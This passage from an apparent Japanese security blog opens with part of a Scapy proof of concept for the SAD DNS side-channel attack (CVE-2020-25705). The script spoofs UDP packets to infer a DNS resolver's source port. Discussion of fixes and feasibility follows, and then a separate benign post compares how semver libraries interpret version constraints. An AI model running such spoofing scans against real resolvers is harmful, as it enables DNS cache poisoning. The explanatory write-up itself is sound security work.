        pkts.append(pkt)

    send(pkts, verbose=0)

    verification = IP(dst=dst)/UDP(sport=sport, dport=1)
    res = sr1(verification, timeout=0.05, verbose=0)

    if res is None:
        return -1
    elif res[ICMP].type == 3:
        if len(ports) == 1:
            return ports[0]
        res = scan(src, sport, dst, ports[:len(ports)//2])
        if res > 0:
            return res
        return scan(src, sport, dst, ports[len(ports)//2:])
    return -1


for ports in tqdm(list(chunked(range(1, 65535), burst)), leave=False):
    res = scan(auth, dns_port, resolver, ports)
    if res > 0:
        break

print("source port:", res)

非常に簡単です。srcに権威サーバのアドレスを指定し、dportを50ずつずらしてスキャンしていきます。DNSクエリの応答になりすましたいのでsportは53番になります。最後に送る検証用UDPパケットでは実際の自分のIPアドレスをソースアドレスとして使います。

最後の検証に対してICMPが返ってきたら、そのレンジのいずれかのポートが開いていることを意味するのでスキャンするポート範囲を半分にしてスキャンし直します(二分探索)。ただしrate limitの関係で必ず50個のUDPパケットを送る必要があるため、パディングしています。この際、パディングのポート番号は必ずcloseであることが期待される番号を(今回は1)指定します。パディングのポートが開いていたりすると誤検知します。

概念的にはこれで良いのですが、Scapyだと20ms内に50もUDPパケットを送れませんでした。そのため、意図的にburstの値を低くして検証しました。以下のコマンドをリゾルバ上で打ちます。

$ sudo sysctl -w net.ipv4.icmp_msgs_burst=10

実際に攻撃する際はパケット全部を作ってから一気に送るとかそもそもCで書くとか工夫が必要かと思われます。上の例では10に設定したのでPythonコード上のburstも10に変更する必要があります。

あとはこれを実行するだけです。以下のように45682番と表示してくれます。

$ python3 main.py
source port: 45682

burst値を10にしてもたまに20msを超えたりするのでうまく検出できないことがあります。また、50ms以上待つ必要があると上で説明しましたが50ms丁度だと安定しなかったためこのPoCでは100ms待っています。同一PC内のネットワークですらこれなので、インターネット越しのサーバを攻撃するにはさらに時間かかりそう+誤検知多そうだなと思いました。

対策

LinuxではCVE-2020-25705の脆弱性として認定され、global rate limitをランダマイズする変更が入りました。v5.10以降であればこのサイドチャネル攻撃は成立しません。あと当然ですがglobal rate limitが導入される前のバージョンはそもそも刺さりません。

kernel/git/torvalds/linux.git - Linux kernel source tree

他にもICMPのunreachableを返さないように設定することでも防ぐことが出来ます。各種DNSサーバ側でも対策が入っているようなので最新版を使うと良さそうです。

- Fix to connect() to UDP destinations, default turned on, · NLnetLabs/unbound@26aa550 · GitHub

ただこの変更を見ると単にconnect()使っているだけに見えるのでPublic-Facing Source PortがPrivate Source Portになっただけな気も...?

攻撃実現性

従来のキャッシュポイズニングと比べると劇的に攻撃実現性が向上した気がします。サイドチャネル攻撃でここまで持っていくのは本当に感動しました。ですが、やはり未だに攻撃を成立させるためにはいくつかのハードルがあります。

まずパブリックDNSサーバなどではリクエストを受け取るアドレスがエニーキャストアドレスになっていたりするため、実際にクエリを送信するアドレスと異なります。これに対しては自分の管理する権威サーバに対して問い合わせることでIPアドレス一覧を取得することが可能です。

また、再三説明しているように時間にシビアです。20ms以内に送り終える必要がありますし、順番が変わって検証用UDPパケットが先に届いたりするとうまくいきません。さらに権威サーバの正規レスポンスが帰ってくる前に毒を入れ終える必要もあります。これはRRLによって緩和可能ですがRRLが実装されている権威サーバは現在18%程度のようです。また、UDPの応答がない場合にTCPにフォールバックするような場合も動かないだろうとCloudflareのブログでは書かれています。

あとそもそも別の用途でICMPを送出しているような場合はglobal rate limitの残量が50じゃない可能性もあり、そういう場合はうまくサイドチャネル攻撃が成立しないと思われます。

以上の要件からそこまで簡単とは言えませんが、何度も試すことでいつか成功する程度の確率はある気がするので放置するには危険な脆弱性なのかなと思います。

まとめ

面白かった

Semantic Versioningの闇

今回も誰も興味ないシリーズなので今まで書いてこなかったのですが、Semantic Versioningに関して幻想を抱いている人がいる可能性があり、そういう方にどうしても現実を知っておいて欲しかったので書きました。3行要約(と可能なら余談)だけでも読んでいただけると幸いです。

3行要約

  • Semantic Versioning 2.0.0にはバージョン"比較"の定義はあるが、バージョン"制約"(>= 2.1.3みたいなやつ)の定義がない
  • その結果、同じsemver準拠ライブラリでも制約の解釈が異なり結果が真逆になる
  • というかそもそもsemver使ってるエコシステムが少なすぎる

背景

セキュリティアドバイザリでは特定のバージョンが脆弱であることを示すためにバージョン制約が使われることが多いです。例えば >=1.2.0 <1.2.6みたいなやつです。この場合、1.2.5は脆弱だが1.2.6は修正済みということが分かります。そのためバージョン比較は重要なのですが、バージョニングの定義として一番有名であるSemantic Versioning 2.0.0(以下semver)に従っているケースは実はレアで、エコシステムによって全く異なります。

semverについて少し説明すると、3つの数字をドットで区切りそれぞれmajor, minor, patchとします。どういう時にそれぞれのバージョンを上げるのかはドキュメントを参照してほしいのですが、つまり 2.4.1 みたいな形式になります。 1.8 とか 1.9.2.3 とかは許されません。他にも - でPre-releaseを、+でBuild metadataが定義できたりします。1.0.0-alpha+001 のような形式です。

Debian系のOSではdeb-versionが使われていますし、Red Hat系も独自のバージョニングを使っており、どちらもsemverとは大きく異なります。Red Hatに至ってはバージョン比較の仕様書が見つけられず(Naming Conventionはあるけどこれだけでは比較はできない)、ソースコードを読みましたがかなり独特な感じです。これらはそもそもupstreamのソフトウェアのバージョニングに加えてディストリビューターがビルドした際にバージョンを付与する必要があるため、必然的にSemantic Versioningでは対応できないのですが、Alpineも当然のように実装が異なりますし、頼むから誰か統一してくれ...という気持ちです。

話はずれましたが、これらOSパッケージはある程度仕方ないとしてもプログラミング言語のライブラリも厳密にsemverに準拠していないものは多いです。例えばRubyGemsは以下でバージョニングが定義されています。

guides.rubygems.org

最初見たときにはSemantic Versioningと書いてあって、「おっ!」と思ったのですが下を見るとPre-releaseの定義がかなり独特です。

guides.rubygems.org

先程少し上で説明しましたがsemverであれば 1.2.3-alpha のように - 区切りでPre-releaseを定義します。つまり - は特別な意味を持ち、この場合は 1.2.3 より小さい(古い)とみなされます。通常はalpha, beta, rcなどリリース前の非安定版をテストするために使われます。ところがRubyGemsではPre-releaseは文字をドット区切りで入れるだけです。 1.2.3.aのような感じですね。これは 1.2.3 よりも小さくなります。さらに言えば、 1.2.3a とか 1.2.a3 とか 1.2.3.4.5.6.7 とかも許されますし実は全然semver準拠ではありません。あくまでsemverとか使うと良いよ〜と推奨してるだけで、全然誰も守ってません。Ruby on Railsほどの有名なソフトウェアがsemver準拠ではない時点で推して知るべしという感じです(執筆時点の最新は6.0.3.4です)。また、ffiのようにカジュアルに - を使っているソフトウェアもあります。例えば 1.13.1-javaなどがあります。ドキュメントには - について記載がなかったので特に意味ないのかなと思ったのですが、ソースコードを読んだところ内部的には .pre.置換されます。なのでそのあたりを考えてバージョニングをする必要があります。

ちなみに上述したRed Hat, Debianなどはupstreamのバージョンに加えてディストリビューション独自のパッチバージョンを示すために-が使われます。こういうOSパッケージではupstreamで更新があった際にそのまま使うことは少なく、バックポートして修正するためです。つまりupstreamが1.2.3から1.2.4に上げた時にDebianでは1.2.3にバックポートして1.2.3-1などにするということです(実際にはもっと複雑)。これは互換性を保つために行われているのですが、いずれにせよ - はPre-releaseを意味しないため、 1.2.3-11.2.3 より大きい(新しい)です。semverでは 1.2.3-1 の方が小さいため真逆になります。Red HatDebian、そしてAlpineのバージョニングだけで無限に語れるのでここでは一旦この程度の簡易な説明に留めます。

ということで再び脱線しましたが、semverに準拠していないバージョニングを採用している言語は多いです。では、semverなら安全なのか?という話になります。実際にsemverに準拠しているライブラリの挙動を以下で見ていきます。

Semantic Versioning準拠のライブラリ

バージョン比較と制約の違い

まず最初に説明しておくと、バージョン比較と制約は異なるものです。

  • バージョン比較
    • 1.2.32.0.0のどちらが大きいか?
    • -1, 0, 1などを返す
  • バージョン制約
    • 1.2.3>2.0.0 を満たすかどうか?
    • 通常戻り値はtrue/false

一見同じように見えますが、実は全然違うものです。記事を読んでいくと分かるかと思います。

バージョン省略時の扱い

まず、Node.jsはsemverに従っているということで semverライブラリを試してみます。

$ cat compare.js
const semver = require('semver')
console.log(semver.satisfies('1.3.4', '=1.3.4'))

$ node compare.js
true

このようにsemver.satisfiesを使うことで簡単に制約を満たすかどうかを確かめられます。では、以下のケースはどうでしょうか?

console.log(semver.satisfies('1.3.4', '=1'))

この結果をまず考えてみてほしいです。

正解は、trueになります。1行で書くと 1.3.4 = 1 です。これは明らかに直感に反しています。ただ中には「いやいや当然trueでしょう」という方もいると思いますが、それはよく訓練されすぎておかしくなってます。1.3.4 = 1 という式を改めて見て冷静になって欲しいです。

以下のケースはどうでしょう?

console.log(semver.satisfies('1.3.4', '>1'))

これも 1.3.4 > 1 という式で考えてみるとtrueに見えます。しかし実際にはfalseを返します。

ということで引っ張りましたが、これはバージョンの一部を省略した場合の解釈が直感と反することによります。Node.jsではバージョンを省略した場合 * の扱いになります。つまり =1 というのは =1.*.* になります。そのため、 1.3.4 = 1.*.* なので当然trueになります。また、>1>1.*.* になるので、実質 >=2.0.0 と等しくなります。そのため結果はfalseになります。普通は =1=1.0.0 のように0埋めするのかなと考えてしまうため、Node.jsの挙動はややおかしく感じます。

ではGoのライブラリである hashicorp/go-version はどうでしょうか。

github.com

こちらも

Versions used with go-version must follow SemVer.

と言っているのでsemver準拠です。ということで試してみます。

package main

import (
    "fmt"

    "github.com/hashicorp/go-version"
)

func main() {
    v, _ := version.NewVersion("1.3.4")
    constraints, _ := version.NewConstraint("=1")
    fmt.Println(constraints.Check(v))
}

https://play.golang.org/p/GFZnF6Jnp2f

この結果は何とfalseになります。Node.jsのライブラリではtrue、Goのライブラリではfalseで完全に真逆です。これは、hashicorp/go-version にとっては =1 は単に =1.0.0 だからです。そのため、 1.3.4 = 1.0.0 は当然falseです。

何故このようなことが起こるのか?というと、Semantic Versioning 2.0.0にはバージョン"制約"(>= 2.0.0みたいなやつ)の定義がないためです。バージョンのフォーマットや比較方法については定義がありますが、バージョン制約については何も触れられていません。そのため、ライブラリによって解釈の違いが生じます。

ちなみに1というのはsemverに違反しているので、1.3.41の比較は発生しません。一方で1.3.41.0.0 であれば明確に比較方法が定義されているので 1.3.4 が大きいと断言できます。つまり、バージョン比較なら一意に定まるがバージョン制約を満たすかどうかは実装依存ということになります。

ではもう一つのGoライブラリで有名な Masterminds/semver を見てみます。

github.com

package main

import (
    "fmt"
 
    "github.com/Masterminds/semver"
)

func main() {
    v, _ := semver.NewVersion("1.3.4")
    constraints, _ := semver.NewConstraint("=1")
    fmt.Println(constraints.Check(v))
}

https://play.golang.org/p/phNI6vS0VnD

こちらの結果はtrueです。このライブラリにとっては =1=1.*.* 相当ということです。同じGoでsemver準拠のライブラリであっても、異なるライブラリを使えば結果が真逆になります。これは結構恐ろしいので、ライブラリがどちらの解釈なのかを知った上で使う必要があります。ドキュメントには書いてなかったりするので、ソースコードを読みましょう。

Pre-releaseの扱い

では再びNode.jsに戻ります。以下はどうなるでしょう?

console.log(semver.satisfies('1.2.3-alpha', '>1.0.0'))

alpha はついているものの、1.2.31.0.0よりかなり大きいです。そのため、普通に考えたらtrueです。

$ node compare.js
false

しかし実際にはfalseになります。直感に反しまくりです。これは、このライブラリが純粋なバージョン比較ではなく利用者がインストールしたいバージョンを選ぶためのルールとしてバージョン制約を扱う側面があるためです。どういうことかというと、基本的にPre-releaseは安定版ではないためそのライブラリを利用しているユーザとしてはそのバージョンをインストールしたくないケースが多いです。そのためPipenvなどでも pipenv install --pre のようにオプションを付けないと基本的にはPre-releaseなバージョンはインストールされません。Node.jsにおいても同様で、 >1.0.0 というのは1.0.0より大きい安定版のバージョンを意味します。そのため、Pre-releaseがある場合は常にfalseになります。

Goのそれぞれのライブラリを見てみます。

v1, _ := version.NewVersion(ver)
c1, _ := version.NewConstraint(con)
fmt.Println(c1.Check(v1)) // false

v2, _ := semver.NewVersion(ver)
c2, _ := semver.NewConstraint(con)
fmt.Println(c2.Check(v2)) // false

https://play.golang.org/p/M5aJE9YNyCI

どちらもfalseになります。つまりPre-releaseを除外するというのは割と一般的な挙動と言えます。しかしセキュリティアドバイザリとの比較という意味では 1.2.3-alpha は明らかに >1.0.0 を満たしているのでとても困ります。

今のところ Masterminds/semver はNode.jsと同様の挙動をしているため、一緒の振る舞いなのかと思うかもしれません。しかしそれは甘いです。マックスコーヒーぐらい甘い考えです。

ConstraintがPre-releaseの場合

ではNode.jsに戻ってバージョン制約側がPre-releaseの場合を見てみます。以下のケースを考えます。

console.log(semver.satisfies('1.0.0-beta', '>1.0.0-alpha'))

さっきPre-releaseは常にfalseという説明をしたのでfalseと思うかもしれません。しかし実際にはtrueです。これはなぜかと言うと、制約側にPre-releaseを書いているということはPre-releaseを使いたいという意思表示である、そのためPre-releaseをインストールしても良いと解釈されるためです。その結果、普通にbetaとalphaが比較されbetaの方が大きいのでtrueが返ります。

Goはどうでしょうか。

ver := "1.0.0-beta"
con := ">1.0.0-alpha"

v1, _ := version.NewVersion(ver)
c1, _ := version.NewConstraint(con)
fmt.Println(c1.Check(v1)) // true

v2, _ := semver.NewVersion(ver)
c2, _ := semver.NewConstraint(con)
fmt.Println(c2.Check(v2)) // true

両方trueです。Node.jsと一緒!やはり同じ挙動なんだ!!と喜ぶのはまだ早いです。以下のケースを見てみます。

console.log(semver.satisfies('1.2.3-beta', '>1.0.0-alpha'))

明らかに1.2.31.0.0より大きいですし、制約にもPre-releaseが付いている、つまりtrueだと考えるかもしれませんが残念なことにこれはfalseです。なぜかというと、 >1.0.0-alpha1.0.0 のPre-releaseを使う覚悟はあるがそれ以外のPre-releaseが使いたいわけではないとNode.jsでは解釈されるからです。つまり >1.0.0-alpha, <1.0.0 の範囲でのみPre-releaseは許可するということになり、1.0.1-alpha1.2.3-betaなどはいつも通りfalseです。

そしてGoです。

ver := "1.2.3-beta"
con := ">1.0.0-alpha"

v1, _ := version.NewVersion(ver)
c1, _ := version.NewConstraint(con)
fmt.Println(c1.Check(v1)) // false

v2, _ := semver.NewVersion(ver)
c2, _ := semver.NewConstraint(con)
fmt.Println(c2.Check(v2)) // true

https://play.golang.org/p/imrDaPAfFHV

大変悲しい結果となっています。今までNode.jsとことごとく異なる挙動をしてきた hashicorp/go-version がfalse、つまりNode.jsと同じ挙動です。一方、今までNode.jsに寄り添ってきたMasterminds/semver がここで謀反を起こしてtrueとなっています。Masterminds/semver にとっては、制約にPre-releaseを入れた時点で全てのPre-releaseを使うという意思表示であると解釈しているということです。

ドット区切りのPre-release

- のあとのPre-releaseも実はドット区切りが可能です。これはsemverの仕様として定義されています。空よりもバージョンが何かしらある方が大きくなるため、以下のケースはtrueです。

console.log(semver.satisfies('1.0.0-alpha.beta', '>1.0.0-alpha')) // true

Goも見てみます。

ver := "1.0.0-alpha.beta"
con := ">1.0.0-alpha"

v1, _ := version.NewVersion(ver)
c1, _ := version.NewConstraint(con)
fmt.Println(c1.Check(v1)) // false

v2, _ := semver.NewVersion(ver)
c2, _ := semver.NewConstraint(con)
fmt.Println(c2.Check(v2)) // true

もう結果が異なることには何も驚かなくなっていると思いますが、hashicorp/go-version ではfalseになります。

実はこれは解釈の違いではなく、明確にsemver内で定義されています。

Example: 1.0.0-alpha < 1.0.0-alpha.1 < 1.0.0-alpha.beta < 1.0.0-beta < 1.0.0-beta.2 < 1.0.0-beta.11 < 1.0.0-rc.1 < 1.0.0.

つまりこれはシンプルに hashicorp/go-version のバグです。解釈の違いにより結果が異なるところと、バグにより結果が異なるところを正確に見定めていく必要があります。

特別なOperator

上記の例では >= など一般的なoperatorを使ってきましたが、実際には各言語はもう少し複雑なバージョン制約を持っています。例えばNode.jsでは ^~ が使えます。~は以下のような制約を意味します。

  • ~1.2.3 := >=1.2.3 <1.(2+1).0 := >=1.2.3 <1.3.0
  • ~1.2 := >=1.2.0 <1.(2+1).0 := >=1.2.0 <1.3.0 (Same as 1.2.x)
  • ~1 := >=1.0.0 <(1+1).0.0 := >=1.0.0 <2.0.0 (Same as 1.x)

RubyGemsでは ~> (Pessimistic Operator)というものが使えます。これはNode.jsの ~ と非常に似ているのですが、若干異なります。

  • ~>1.2.3 := >=1.2.3 <1.3
  • ~>1.2 := >=1.2 <2
  • ~>1 >=1.0.0 <2.0.0

Node.jsのものと比べてほしいのですが、 ~1.2 の場合の範囲が異なります。ですが残念なことに多くのライブラリで同様に扱ってしまい誤った結果を返すことがあります。もちろん ~>RubyGems準拠だ、と言っていない場合は ~ の挙動をしても厳密には誤りとは言えないかもしれませんが、~>という独特なoperatorを使っている以上はRubyGemsに則るべきかなと思います。

ver := "1.6"
con := "~1.4"

v1, _ := version.NewVersion(ver)
c1, _ := version.NewConstraint(con)
fmt.Println(c1.Check(v1)) // true

v2, _ := semver.NewVersion(ver)
c2, _ := semver.NewConstraint(con)
fmt.Println(c2.Check(v2)) // false

この場合は hashicorp/go-version が正しくて Masterminds/semver の挙動がおかしいかなと思います。もっとも、上で述べたようにMastermminds/semver~>RubyGems準拠と言っていないので完全な誤りとは少し言いにくいです。

違いまとめ

実はまだまだ違いがあるのですが、書くの疲れてきたし改めて読み直すとやはり誰も興味ないだろうなと思ったので一旦終わりにします。気分が向いたら追記します。

表にまとめましたが、同じ挙動をしているものが一つもないことが分かるかと思います。

Node.js hashicorp Masterminds
1.3.4 = 1 true false true
1.3.4 > 1 false true false
1.2.3-alpha > 1.0.0 false false false
1.0.0-beta > 1.0.0-alpha true true true
1.2.3-beta > 1.0.0-alpha false false true
1.0.0-alpha.beta > 1.0.0-alpha true false *1 true
1.6 ~> 1.4 false *2 true false

*1 これはただのバグ
*2 ~>~ とした場合の結果

Goの方は比較用のスクリプトをGo Playgroundに置いたのでそちらも合わせてどうぞ。

The Go Playground

余談

Semantic Versioning一つとってもこれだけ大変です。それぞれのディストリビューション・言語は独自のセマンティクスを持つのでただの地獄です。自分の用途だとhashicorpのライブラリのほうが近いのですが、他のPRなども取り込まれていませんしupstreamを改修するのは諦めて自作しました。オプションで*でなく0のパディングしたりPre-releaseを常に比較対象に入れたりとかも出来るようにしてあります。急いで作ったのでまだ完全に動くか自信ないですが、今のところそこそこ思った通りに動いてくれています。

github.com

他にもRubyGems用やnpm用も作りました。全部挙動が異なるのでテストを書きながら混乱して頭がおかしくなりそうになりました。また、1つのケースを通すと別のケースが落ちるというのが多発するのも辛いです。

github.com

github.com

これらを育てていきつつ他の言語も作る予定です。ただaquasecurity/go-version の挙動で他の言語でも割と正しく動くので、一旦PHPやRust、.NETはそれで対応して随時作っていくという感じで行きます。

自分はクラウドネイティブセキュリティの会社にいるため、チームメンバーはeBPFでバリバリ開発してeBPF Summit登壇したり、Kubernetes Operator作ってKubeCon North America 2020登壇したり、ボスは相変わらず基調講演とかで発表しまくったり、という状況の中で自分だけ毎日必死にバージョンを比較し続けていて「くらうどねいてぃぶってなんだ...?」状態になっています。先日のBerkeley DBの記事なども時代を逆行しまくりなわけですが、他の類似OSSがうまく実装できていないこういう細かい所の差が最終的にユーザに伝わると信じて頑張っています。

派手な新機能も良いですが、細かいところでバグが多いとやはり分かる人には分かるんじゃないかと思っています。なので地味であってもコツコツと改善を続けているのですが、実際にOSSにおいてそういったところが本当に重要なのかは自分にもまだ分かりませんし、これが実らなかったら次以降は細かいところは捨て置いて新機能だけ作る人になる予定です。

ちなみに自分のOSSのライバルとしてAnchoreやClairといったものがあるのですが、バージョン比較はずっとバグってました。昔はPR出して直してたのですが今はライバルだしな、と放置していたら結局自作を諦めて自分の作ったOSS使い始めてました。大企業ですら諦めてますし、やはりバージョン比較は地味な割に難しいんだなと思います。単に労力に対して割に合わないという判断かもしれませんが。

まとめ

Semantic Versioningの闇という記事のタイトルにしましたが、実際にはSemantic Versioningそのものが悪いと言うよりはバージョン制約に関する定義がないという点、実際にはほとんどのエコシステムでSemantic Versioningに従っていないという点が問題であるという内容でした。なのでバージョニングの問題と言うと若干語弊があるのですが、制約についても定義してくれていればこういう事は起きなかったと思うので、少し誇張した感じにはなっていますがこのタイトルとしました。用途の違いから来ているところもあるのですが(Pre-releaseはインストールしたくないとか)、それであれば違うoperatorを使うとかで全く同じ記号で異なる結果になることは避けられたのではないかと思います。「バージョニング?そんなもんsemverに従うだけだから簡単じゃないの?」と思っている人に現実を知ってもらえれば幸いです。